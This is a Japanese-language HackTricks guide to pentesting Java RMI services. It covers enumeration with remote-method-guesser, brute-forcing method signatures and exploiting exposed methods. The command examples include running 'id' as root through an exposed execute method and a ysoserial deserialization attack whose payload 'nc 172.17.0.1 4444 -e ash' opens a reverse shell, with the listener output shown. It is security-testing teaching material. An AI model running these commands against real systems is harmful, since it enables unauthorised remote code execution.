21 KiB
1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
基本情報
Java Remote Method Invocation(Java RMI)は、1つの_Java仮想マシン_にあるオブジェクトが別の_Java仮想マシン_にあるオブジェクトのメソッドを呼び出すことを可能にするオブジェクト指向の_RPC_メカニズムです。これにより、開発者はオブジェクト指向のパラダイムを使用して分散アプリケーションを記述できます。攻撃的な視点からの_Java RMI_の簡単な紹介は、このblackhatトークで見ることができます。
デフォルトポート: 1090,1098,1099,1199,4443-4446,8999-9010,9999
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
通常、デフォルトの Java RMI コンポーネント(RMI Registry と Activation System)のみが一般的なポートにバインドされています。実際の RMI アプリケーションを実装する remote objects は、上記の出力に示されているように、通常はランダムなポートにバインドされています。
nmap は時々 SSL 保護された RMI サービスを特定するのに問題があります。一般的な RMI ポートで未知の ssl サービスに遭遇した場合は、さらに調査する必要があります。
RMI コンポーネント
簡単に言うと、Java RMI は開発者が Java object をネットワーク上で利用可能にすることを可能にします。これにより、クライアントが接続し、対応するオブジェクトのメソッドを呼び出すための TCP ポートが開かれます。これが簡単に聞こえるにもかかわらず、Java RMI が解決しなければならないいくつかの課題があります:
- Java RMI を介してメソッド呼び出しを行うために、クライアントはターゲットオブジェクトの IP アドレス、リスニングポート、実装されたクラスまたはインターフェース、および
ObjID
を知っている必要があります(ObjID
は、オブジェクトがネットワーク上で利用可能にされたときに作成される一意でランダムな識別子です。これは、Java RMI が複数のオブジェクトが同じ TCP ポートでリッスンすることを許可するために必要です)。 - リモートクライアントは、公開されたオブジェクトのメソッドを呼び出すことによってサーバー上にリソースを割り当てることができます。Java virtual machine は、これらのリソースのうちどれがまだ使用中で、どれがガベージコレクトできるかを追跡する必要があります。
最初の課題は RMI registry によって解決されます。これは基本的に Java RMI のための名前付けサービスです。RMI registry 自体も RMI service ですが、実装されたインターフェースと ObjID
は固定されており、すべての RMI クライアントによって知られています。これにより、RMI クライアントは対応する TCP ポートを知っているだけで RMI レジストリを利用することができます。
開発者が自分の Java objects をネットワーク内で利用可能にしたい場合、通常はそれらを RMI registry にバインドします。registry はオブジェクトに接続するために必要なすべての情報(IP アドレス、リスニングポート、実装されたクラスまたはインターフェース、および ObjID
値)を保存し、人間が読みやすい名前(bound name)の下で利用可能にします。RMI service を利用したいクライアントは、対応する bound name のために RMI registry に問い合わせ、レジストリは接続に必要なすべての情報を返します。したがって、状況は基本的に通常の DNS サービスと同じです。以下のリストは小さな例を示しています:
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
上記の課題の2番目は、Distributed Garbage Collector (DGC)によって解決されます。これは、よく知られたObjID
値を持つ別の_RMI service_であり、基本的に各_RMI endpoint_で利用可能です。_RMI client_が_RMI service_の使用を開始すると、対応する_remote object_が使用中であることを_DGC_に通知します。_DGC_は参照カウントを追跡し、未使用のオブジェクトをクリーンアップすることができます。
非推奨の_Activation System_とともに、これらは_Java RMI_の3つのデフォルトコンポーネントです:
- RMI Registry (
ObjID = 0
) - Activation System (
ObjID = 1
) - Distributed Garbage Collector (
ObjID = 2
)
_Java RMI_のデフォルトコンポーネントは、かなりの間知られている攻撃ベクターであり、古い_Java_バージョンには複数の脆弱性が存在します。攻撃者の視点から見ると、これらのデフォルトコンポーネントは興味深いものであり、既知のクラス/インターフェースが実装されているため、簡単に相互作用することができます。この状況は、カスタム_RMI services_には当てはまりません。_remote object_のメソッドを呼び出すには、事前に対応するメソッドシグネチャを知っている必要があります。既存のメソッドシグネチャを知らなければ、_RMI service_に通信する方法はありません。
RMI Enumeration
remote-method-guesserは、一般的な_RMI vulnerabilities_を自動的に特定できる_Java RMI_脆弱性スキャナーです。_RMI_エンドポイントを特定したら、ぜひ試してみてください:
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
列挙アクションの出力は、プロジェクトのドキュメントページでより詳細に説明されています。結果に応じて、特定された脆弱性を確認することを試みるべきです。
_remote-method-guesser_によって表示されるObjID
値は、サービスの稼働時間を特定するために使用できます。これにより、他の脆弱性を特定できる可能性があります:
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
リモートメソッドのブルートフォース
列挙中に脆弱性が特定されていなくても、利用可能な RMI サービスは依然として危険な機能を露出する可能性があります。さらに、RMI 通信は RMI デフォルトコンポーネントに対してデシリアライズフィルターによって保護されていますが、カスタム RMI サービスと通信する際には、そのようなフィルターは通常存在しません。したがって、RMI サービス上の有効なメソッドシグネチャを知ることは価値があります。
残念ながら、Java RMI は リモートオブジェクト 上のメソッドを列挙することをサポートしていません。それを踏まえて、remote-method-guesser や rmiscout のようなツールを使用してメソッドシグネチャをブルートフォースすることが可能です:
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
識別されたメソッドは次のように呼び出すことができます:
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
また、このようにデシリアライズ攻撃を実行することもできます:
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
More information can be found in these articles:
推測することに加えて、遭遇した RMI サービスのインターフェースや実装を検索エンジンや GitHub で探すべきです。 bound name と実装されたクラスまたはインターフェースの名前がここで役立つことがあります。
Known Interfaces
remote-method-guesser は、ツールの内部データベースにリストされている RMI services のクラスまたはインターフェースを known
としてマークします。これらの場合、対応する RMI service に関する詳細情報を取得するために known
アクションを使用できます。
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
Shodan
port:1099 java
Tools
References
HackTricks 自動コマンド
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。
今すぐアクセス:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
{% hint style="success" %}
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。